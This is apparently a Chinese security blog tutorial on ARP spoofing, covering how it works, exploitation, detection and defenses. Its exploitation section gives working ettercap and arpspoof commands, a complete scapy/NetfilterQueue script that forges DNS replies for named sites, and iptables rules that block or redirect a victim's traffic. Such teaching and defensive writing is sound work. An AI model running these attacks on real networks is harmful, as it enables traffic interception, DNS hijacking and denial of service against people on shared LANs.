背景

基于各种原因,需要在2024年分析一下古老的arp欺骗,这个教科书级的攻击方式在2024年依然可以利用成功。

在此分享arp欺骗利用的原理、利用、检测、防御。

0x01 原理

1、arp 是什么?
arp(Address Resolution Protocol)地址解析协议,将 IP 地址 映射到 MAC 地址。

2、arp协议的工作原理是什么?(from chatgpt)

  • 当一个设备知道某个 IP 地址时,但不知道对应的 MAC 地址时,它会广播一个 ARP 请求(ARP Request)到网络中,询问 "谁拥有这个 IP 地址?"。
  • 拥有该 IP 地址的设备会回应一个 ARP 响应(ARP Reply),告知其 MAC 地址。
  • 该信息会被缓存到设备的 ARP 缓存中,方便之后直接进行 IP 到 MAC 地址的映射,避免每次都进行广播请求。

3、arp 欺骗是什么?

利用利用协议工作原理中的第二阶段,直接发送 ARP Reply 包给目标,缓存 ip-mac 映射到设备本地缓存。

本质是针对 ARP Reply数据包没有认证能力,信任任意的 ARP Reply包。

4、arp实际危害是什么?

  • 拒绝服务:断网、阻断单个 tcp/udp 请求
  • 信息泄露:通信流量获取(包含所有明文流量)
  • 流量劫持:DNS劫持、tcp/udp等 流量劫持。
  • 等(http 流量劫持、https 降级等)

本质上是攻击者在网关和受害者充当中间人,拥有了对数据包的控制权(获取、篡改、阻断)。

0x02 利用

主要介绍不同平台下尝试过的一些利用技术。实际利用效果:

1)dns 协议劫持,如:weibo.com:
QQ20250115-215905-HD

2) ip 4层 tcp劫持:
QQ20250115-212257-HD

macOS 利用: debookee 使用方法

debookee是一个 macOS 平台的付费arp 欺骗软件,当前存在兼容问题导致能用的功能不多,比较鸡肋。实践下来如果需求只是扫描内网、欺骗、获取数据包,那可以将就用一下。(详情看下 github)

使用方法:扫描局域网主机,选择网关、选择受害者,开启欺骗。

扫描的本质是 发送arp request包探测局域网的主机。

欺骗的本质(点击 attack 后)是每隔1s循环发送2条数据arp reply包, 一个发给网关,一个发给攻击者。数据包包含 1)Sender MAC address,实际上是:攻击者mac 和 2)Sender IP address:伪造的来源 ip

完整劫持成功的场景下,在受害者机器上执行 curl ip.bi,在攻击者上获取到的4条数据包如下(在受害者机器上只能看到自己 流量1和 流量 4)

linux 利用01 - dns 劫持场景:ettercap/ arp_spoof

方式1: ettercap。ettercap是一个集成好的傻瓜式 arp 欺骗工具,支持 GUI 和命令行。也可以指定 dns劫持。

# arp劫持
sudo ettercap -T -i eth0 -M arp:remote /11.39.210.118// /11.39.128.1//


# dns 劫持情况
sudo ettercap -T -i eth0 -M arp:remote /11.39.210.118// /11.39.128.1//  -P dns_spoof
# -P开启dns 劫持
# -i 指定网卡

# dns劫持配置  
cat /usr/local/etc/ettercap/etter.dns |grep ip.bi
ip.bi A 1.1.1.1

Xnip2024-12-17_15-22-29

方式2: arp_spoof 可以做到双向欺骗。netfilterqueue:本质上是用 iptables 将 dns 数据转发到用户态处理,修改 dns 相应的结果。

sudo arpspoof -i wlan0 -t <victimip> -r <routerip> 

dns 劫持代码:

from scapy.all import *
from netfilterqueue import NetfilterQueue

import os


# DNS mapping records, feel free to add/modify this dictionary
# for example, google.com will be redirected to 192.168.1.100
dns_hosts = {
    b"ip.bi.": "1.1.1.1",
    b"www.baidu.com.": "1.1.1.1",
    b"weibo.com.": "1.1.1.1"
}



def process_packet(packet):
    """
    Whenever a new packet is redirected to the netfilter queue,
    this callback is called.
    """
    # convert netfilter queue packet to scapy packet
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR):
        # if the packet is a DNS Resource Record (DNS reply)
        # modify the packet
        print("[Before]:", scapy_packet.summary())
        try:
            scapy_packet = modify_packet(scapy_packet)
        except IndexError:
            # not UDP packet, this can be IPerror/UDPerror packets
            pass
        print("[After ]:", scapy_packet.summary())
        # set back as netfilter queue packet
        packet.set_payload(bytes(scapy_packet))
        # Drop the original DNS response
        # packet.drop()  # This will prevent the original DNS packet from being sent
        # accept the modified packet
        packet.accept()
    else:
        packet.accept()




def modify_packet(packet):
    """
    Modifies the DNS Resource Record `packet` ( the answer part)
    to map our globally defined `dns_hosts` dictionary.
    For instance, whenever we see a google.com answer, this function replaces
    the real IP address (172.217.19.142) with fake IP address (192.168.1.100)
    """
    # get the DNS question name, the domain name
    qname = packet[DNSQR].qname
    if qname not in dns_hosts:
        # if the website isn't in our record
        # we don't wanna modify that
        print("no modification:", qname)
        return packet
    # craft new answer, overriding the original
    # setting the rdata for the IP we want to redirect (spoofed)
    # for instance, google.com will be mapped to "192.168.1.100"
    packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
    # set the answer count to 1
    packet[DNS].ancount = 1
    # packet[DNS].ancount = 1
    packet[DNS].an.ttl = 0  # 设置 TTL 为 0
    # delete checksums and length of packet, because we have modified the packet
    # new calculations are required ( scapy will do automatically )
    del packet[IP].len
    del packet[IP].chksum
    del packet[UDP].len
    del packet[UDP].chksum
    # return the modified packet
    return packet


QUEUE_NUM = 0
# insert the iptables FORWARD rule
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# instantiate the netfilter queue
queue = NetfilterQueue()


try:
    # bind the queue number to our callback `process_packet`
    # and start it
    queue.bind(QUEUE_NUM, process_packet)
    queue.run()
except KeyboardInterrupt:
    # if want to exit, make sure we
    # remove that rule we just inserted, going back to normal.
    os.system("iptables --flush")

TIPS1:

  • 上述2个方式都需要确保通过 通过 sudo sysctl -w net.ipv4.ip_forward=1 开启IP数据包转发( /proc/sys/net/ipv4/ip_forward 为1)
    /proc/sys/net/ipv4/ip_forward 是一个 Linux 系统中的内核参数,用于控制 IP 数据包是否能够在设备之间转发。其作用是决定系统是否作为路由器将数据包从一个网络接口转发到另一个网络接口。
    当 ip_forward 为 0 时:系统将不转发数据包。换句话说,如果数据包的目的地不是本地系统,系统就会丢弃这些数据包。
    当 ip_forward 为 1 时:系统允许转发数据包,也就是说,如果数据包的目标地址不是本机,而是其他网络中的设备,系统会将数据包转发到相应的网络接口。

TIPS2:

  • 实际在欺骗时,可能遇到arp 欺骗失败的情况(Duplicate IP address deteced for .... ,根因是同一个IP地址会对应两个不同的MAC地址)。
  • 大部分情况下发生在欺骗网关的时候,因此只能获取受害者的请求包,无法获取响应包。(可以结合 wireshark 实际抓到的结果看,是否是只有单向的受害者的请求包,没有响应包。、即使是该模式下,依然受害者的网络依然正常,且 dns 欺骗有小概率可以成功,只需要先比网关先到达受害者的机器即可)

ettercap开启 arp 欺骗(遇到地址冲突的情况):

arp_spoof断开时,自动触发 arp 欺骗恢复:

linux 利用02 - 阻断指定 ip 的访问

可以通过 iptables 的 FORWARD 链来阻断指定 IP 的访问,FORWARD 链的作用(FORWARD链也被广泛在防火墙设备中)

  • FORWARD 链:处理通过当前设备转发的流量。当数据包的目标地址不是本机,而是通过本机进行转发到其他地方时,FORWARD 链会处理这些数据包。这是你控制网络转发流量的地方。
  • INPUT 链:处理发往本机的数据包。一般用来过滤进入本机的流量。
  • OUTPUT 链:处理从本机发出的数据包。一般用来过滤本机发送出去的流量。

阻断方式1:阻断目的:drop 掉 syn 包

sudo iptables -A FORWARD -d 132.226.22.254 -j DROP
sudo iptables -L -n --line-number -t filter

阻断方式2:drop 掉 ack 包

sudo iptables -D FORWARD 3
sudo iptables -A FORWARD -s 132.226.22.254 -j DROP

方式1和方式2的效果差别不大,一个是不转发 syn,一个是不转发ack,推荐用1,流量会干净很多。

早期阻断 dns 并且记录的配置如下:

Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination
1    LOG        all  --  0.0.0.0/0            132.226.22.254       LOG flags 0 level 4 prefix "OUTBOUND BLOCK: "
2    DROP       all  --  0.0.0.0/0            132.226.22.254
3    LOG        udp  --  11.11.11.11          11.39.210.118        udp spt:53 LOG flags 0 level 4 prefix "DNS Block: "
4    DROP       udp  --  11.11.11.11          11.39.210.118        udp spt:53

linux 利用03 - 劫持通信流量

通过 iptables的 nat表的 PREROUTING 链设置REDIRECT 劫持目的 ip的访问到本机端口(备注:无法修改为其他ip,设置 SNAT 和 DNAT 策略后发现无法与恶意服务建立三次握手,但是可以通过REDIRECT + 端口转发间接实现,实际测试成功)

# 查看 nat 表
sudo iptables -L -n --line-number  -t nat

# 添加PREROUTING链的 REDIRECT 策略
sudo iptables -t nat -A PREROUTING  -d 132.226.22.254  -p tcp  --dport 80 -j REDIRECT --to-port 8080

# 删除策略
sudo iptables -t nat -D PREROUTING  <num>

查看策略:

添加策略后实际访问 目标ip 的80端口被劫持到本地的8080端口:

备注:通过REDIRECT+ssh tunnel 劫持目标地址到外部恶意服务。(实际132.226.22.254 服务为 ifconfig.me 站点提供的服务)
Xnip2025-01-16_10-50-00

0x03 检测与防御

检测

终端:检测网关的 mac 地址变化,高频的 arp reply包。
交换机:检测高频 arp reply包。

参考终端本地规则demo:

### 规则1 
# 设置最大阈值,当同一 IP 地址对应多个不同的 MAC 地址时,触发警告
MAC_THRESHOLD = 2  # 网关如果有 2个以上的不同 MAC 地址

### 规则2
# 设置网关 ARP reply 包的数量阈值,超过则告警
ARP_REPLY_THRESHOLD = 6  # 10个以上的 ARP 回复包
ARP_REPLY_THRESHOLD_WINDOW = 60   # 检测时间窗口

防御

终端防御:
1、网关 mac 地址绑定。

交换机层(目前认为效果比较好的):
1、加固:DHCP Snooping(记录分配出去的ip 和 mac关系作为白名单) + 动态arp检查(检查ip 和 mac 是否在白名单),但需处理静态 ip 分配的情况)。
2、限制:配置arp源抑制功能 arp source-suppression + 设备告警处置。

一些经典的问题

1、如果交换机层开了 arp 防劫持?arp欺骗还可以利用么?
答:可以,arp 欺骗可以做到单向欺骗,只欺骗客户端。详细解释:arp 攻击原理中的关键步骤有2个:欺骗网关、欺骗受害者。交换机开启了 arp 防劫持后,只是交换机不认 伪造的 arp 响应包,还会把受害者的数据包转发给受害者;但攻击者可以单纯欺骗受害者,获取受害者发出的请求包,转发受害者的请求包。

2、一些 tips:

  • 删除arp 缓存: arp -d <IP ADDRESS>
  • 删除 chrome 的浏览器缓存: chrome://net-internals/#dns
  • 查案站点的 hsts开启情况:chrome://net-internals/$hsts#hsts (原理是:浏览器缓存,告诉浏览器站点支持https,后续强制使用 https 访问,且无法忽略证书错误)

感受与思考

1、arp 欺骗的本质属于属于协议缺陷,信任没有经过校验的 arp reply包。安全的太多问题本质都是未认证导致的。
2、在准入做的比较好的公司,arp攻击的整体风险相对有限,但在特定场景的评估下(定向攻击、iot安全领域)可能会有意想不到的效果。
3、为什么依然可以利用成功?结合甲方面临的主要风险看,核心风险来自于外部,arp 攻击的门槛需近源,有点鸡肋导致治理优先级有限。
4、未知攻焉知防,重复了 N 遍的做事方法论:定义问题、明确目标与衡量指标、制定策略执行、PDCA。定义问题是重中之重。
5、在实践阶段,有趁手的工具直接用是 ROI 最高的方式,不要想着造一个轮子,把完美主义放到最后。